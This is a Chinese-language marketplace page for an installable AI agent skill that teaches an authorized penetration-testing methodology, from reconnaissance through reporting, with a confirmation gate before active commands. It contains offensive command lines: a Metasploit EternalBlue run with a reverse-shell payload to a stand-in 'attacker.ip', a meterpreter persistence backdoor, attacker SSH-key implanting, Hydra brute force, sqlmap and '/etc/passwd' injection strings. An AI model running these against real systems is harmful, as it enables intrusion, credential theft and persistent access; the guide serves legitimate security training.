mcpField
E
ethical-hacking-methodology

ethical-hacking-methodology

github.com/sickn33安全48.7k659 次安装今天更新
代码仓库

关于 ethical-hacking-methodology

面向授权渗透测试的 Skill,指导安全从业者完成侦察、扫描、漏洞分析、受控验证与报告。强调书面许可、明确范围,并要求执行主动命令前逐项确认。

主要功能

  1. 01渗透测试生命周期指导
  2. 02侦察与扫描方法
  3. 03漏洞分析与验证
  4. 04证据管理与报告
  5. 05授权和范围保护措施

适用场景

  1. 01规划经授权的安全评估
  2. 02组织漏洞测试和证据记录
  3. 03编写技术与管理层报告

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill ethical-hacking-methodology

安装后在 Claude Code 中输入/ethical-hacking-methodology确认已加载。

详细介绍

⚠️ 仅限授权使用 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须事先获得系统所有者明确的书面许可。 滥用此工具属于违法行为,严格禁止。

强制确认关卡 在运行任何会探测、利用、修改目标、在目标上建立持久化、从目标提取数据或尝试访问目标凭据的命令前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权并说明许可范围。
  3. 展示确切的命令,并说明其预期效果。
  4. 等待用户在当前对话中明确确认。

未获得确认前,只进行只读操作,并仅提供防御性指导。优先使用沙箱、临时 VM 或受控实验室。

仅限授权使用:仅在经授权的渗透测试项目、防御性验证或受控教育环境中使用此技能。

道德黑客方法论

目的

掌握从侦察到报告的完整渗透测试生命周期。此技能涵盖道德黑客方法论的五个阶段、必备工具、攻击技术,以及针对经授权安全评估的专业报告撰写。

前提条件

所需环境
  • 已安装 Kali Linux(持久安装或 Live 环境)
  • 可访问经授权的目标网络
  • 系统所有者提供的书面授权
所需知识
  • 基本网络概念
  • 熟练使用 Linux 命令行
  • 了解 Web 技术
  • 熟悉安全概念

输出与交付成果

  1. 侦察报告 - 收集到的目标信息
  2. 漏洞评估 - 发现的弱点
  3. 漏洞利用证据 - 概念验证攻击
  4. 最终报告 - 管理层摘要和技术发现

核心工作流

阶段 1:了解黑客类型

安全专业人员的分类:

白帽黑客(道德黑客)

  • 经授权的安全专业人员
  • 在获得许可的情况下进行渗透测试
  • 目标:发现并修复漏洞
  • 也称为:渗透测试人员、安全顾问

黑帽黑客(恶意黑客)

  • 未经授权入侵系统
  • 受利益、报复或恶名驱使
  • 目标:窃取数据、造成损害
  • 也称为:破解者、犯罪黑客

灰帽黑客(混合型)

  • 可能跨越道德界限
  • 并非出于恶意,但可能违反规则
  • 经常公开披露漏洞
  • 动机多样

其他分类

  • 脚本小子:不理解原理,只使用现成工具
  • 黑客行动主义者:受政治或社会因素驱动
  • 国家级攻击者:由政府资助的行动人员
  • 编码人员:开发工具和漏洞利用程序
阶段 2:侦察

将第三方被动研究与 DNS 查询及可能直接联系基础设施的工具区分开来。DNS 枚举和 dnsrecon 并不保证是被动的:

被动侦察

# WHOIS lookup
whois target.com

# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS

# Subdomain discovery
dnsrecon -d target.com

# Email harvesting
theHarvester -d target.com -b all

Google 黑客技术(OSINT)

# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc

# Find login pages
site:target.com inurl:login
site:target.com inurl:admin

# Find directory listings
site:target.com intitle:"index of"

# Find configuration files
site:target.com filetype:config
site:target.com filetype:env

Google 黑客数据库类别:

  • 包含密码的文件
  • 敏感目录
  • Web 服务器检测
  • 易受攻击的服务器
  • 错误消息
  • 登录入口

社交媒体侦察

  • LinkedIn:组织架构、使用的技术
  • Twitter:公司公告、员工信息
  • Facebook:个人信息、人际关系
  • 招聘信息:技术栈线索
阶段 3:扫描

对目标系统进行主动枚举:

主机发现

# Ping sweep
nmap -sn 192.168.1.0/24

# ARP scan (local network)
arp-scan -l

# Discover live hosts
nmap -sP 192.168.1.0/24

端口扫描

# TCP SYN scan (stealth)
nmap -sS target.com

# Full TCP connect scan
nmap -sT target.com

# UDP scan
nmap -sU target.com

# All ports scan
nmap -p- target.com

# Top 1000 ports with service detection
nmap -sV target.com

# Aggressive scan (OS, version, scripts)
nmap -A target.com

服务枚举

# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com

# Vulnerability scanning
nmap --script=vuln target.com

常见端口参考

端口服务备注
21FTP文件传输
22SSH安全 Shell
23Telnet未加密的远程连接
25SMTP电子邮件
53DNS名称解析
80HTTPWeb
443HTTPS安全 Web
445SMBWindows 共享
3306MySQL数据库
3389RDP远程桌面
第 4 阶段:漏洞分析

识别可利用的弱点:

自动化扫描

# Nikto web scanner
nikto -h http://target.com

# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"

# Nessus: use the documented current UI or API scan workflow;
# nessuscli is not a generic scan --target interface.

Web 应用测试(OWASP)

  • SQL 注入
  • 跨站脚本攻击(XSS)
  • 身份验证失效
  • 安全配置错误
  • 敏感数据泄露
  • XML 外部实体(XXE)
  • 访问控制失效
  • 不安全的反序列化
  • 使用存在已知漏洞的组件
  • 日志记录与监控不足

手动技术

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Web technology fingerprinting
whatweb target.com
第 5 阶段:漏洞利用

主动利用发现的漏洞:

Metasploit 框架

# Start Metasploit
msfconsole

# Search for exploits
msf> search type:exploit name:smb

# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue

# Set target
msf> set RHOSTS target.com

# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip

# Execute
msf> exploit

密码攻击

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Web 漏洞利用

# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables

# XSS testing
# Manual: <script>alert('XSS')</script>

# Command injection testing
# ; ls -la
# | cat /etc/passwd
第 6 阶段:受控访问验证

持久化不是常规评估步骤。优先使用一次性实验环境;任何持久化模拟都需要单独明确授权、设置有效期限、保留所有者可见的痕迹,并验证清理结果。保留日志,绝不掩盖活动。

后门

# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip

# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys

# Cron job persistence
# Do not append arbitrary jobs to system crontab; use a reviewed temporary
# lab-only test artifact with explicit user, expiry and rollback.

权限提升

# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh

# Windows enumeration
winpeas.exe
windows-exploit-suggester.py

# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null

# Check sudo permissions
sudo -l

证据保留与清理

  • 记录采取的所有操作
  • 保留日志以供报告使用
  • 避免不必要的系统变更
  • 清理测试文件和后门
第 7 阶段:报告

以专业方式记录发现:

报告结构

  1. 执行摘要

    • 高层次发现
    • 业务影响
    • 风险评级
    • 修复优先级
  2. 技术发现

    • 漏洞详情
    • 概念验证
    • 屏幕截图/证据
    • 受影响的系统
  3. 风险评级

    • 严重:需要立即采取行动
    • 高:在 24-48 小时内处理
    • 中:在 1 周内处理
    • 低:在 1 个月内处理
    • 信息:最佳实践建议
  4. 修复建议

    • 针对每项发现的具体修复措施
    • 短期缓解措施
    • 长期解决方案
    • 所需资源
  5. 附录

    • 详细扫描输出
    • 工具配置
    • 测试时间线
    • 范围与方法
第 8 阶段:常见攻击类型

网络钓鱼

  • 基于电子邮件的凭据窃取
  • 虚假登录页面
  • 恶意附件
  • 社会工程学环节

恶意软件类型

  • 病毒:可自我复制,需要宿主文件
  • 蠕虫:可在网络中自我传播
  • 木马:伪装成合法软件
  • 勒索软件:加密文件以索要赎金
  • Rootkit:隐藏的系统级访问权限
  • 间谍软件:监视用户活动

网络攻击

  • 中间人攻击(MITM)
  • ARP 欺骗
  • DNS 投毒
  • DDoS(分布式拒绝服务)
第 9 阶段:Kali Linux 设置

安装渗透测试平台:

硬盘安装

  1. 从 kali.org 下载 ISO
  2. 从安装介质启动
  3. 选择“Graphical Install”
  4. 配置语言、位置和键盘
  5. 设置主机名和 root 密码
  6. 对磁盘分区(引导式——使用整个磁盘)
  7. 安装 GRUB 引导加载程序
  8. 重启并登录

Live USB(持久化)

# Create bootable USB
# Destructive: verify ISO checksum, actual device identity and backup first.
# /dev/sdb is only a placeholder; selecting a system disk destroys data.
dd if=kali-linux.iso of=/dev/VERIFIED_USB_DEVICE bs=512k status=progress

# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"

# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
第 10 阶段:道德准则

法律要求

  • 获取书面授权
  • 明确界定范围
  • 记录所有测试活动
  • 向客户报告所有发现
  • 保守机密

专业行为

  • 遵循道德规范,诚信行事
  • 尊重所访问数据的隐私
  • 避免不必要的系统损害
  • 仅执行计划内的测试
  • 绝不将发现用于个人利益

快速参考

渗透测试生命周期
阶段目的关键工具
侦察收集信息theHarvester、WHOIS、Google
扫描枚举目标Nmap、Nikto、Gobuster
漏洞利用获取访问权限Metasploit、SQLMap、Hydra
维持访问持久化Meterpreter、SSH 密钥
报告记录发现报告模板
必备命令
命令用途
nmap -sV target端口和服务扫描
nikto -h targetWeb 漏洞扫描
msfconsole启动 Metasploit
hydra -l user -P list ssh://targetSSH 暴力破解
sqlmap -u "url?id=1" --dbsSQL 注入

约束和限制

需要授权
  • 未获得书面许可,切勿进行测试
  • 遵守定义的范围
  • 报告未经授权的访问尝试
专业规范
  • 遵循交战规则
  • 维护客户端机密
  • 记录所用方法
  • 提供可执行的建议

故障排除

扫描受阻

解决方案:

  1. 降低扫描速率
  2. 检查范围、速率限制以及约定的测试源 IP
  3. 与所有者协调将测试源 IP 加入允许列表,或安排更安全的测试时段
  4. 未获得单独授权,不要绕过阻止控制
漏洞利用失败

解决方案:

  1. 验证目标确实存在漏洞
  2. 检查有效载荷兼容性
  3. 调整漏洞利用参数
  4. 尝试其他漏洞利用方式

适用场景

此技能适用于执行概述中描述的工作流或操作。

评论

支持 Markdown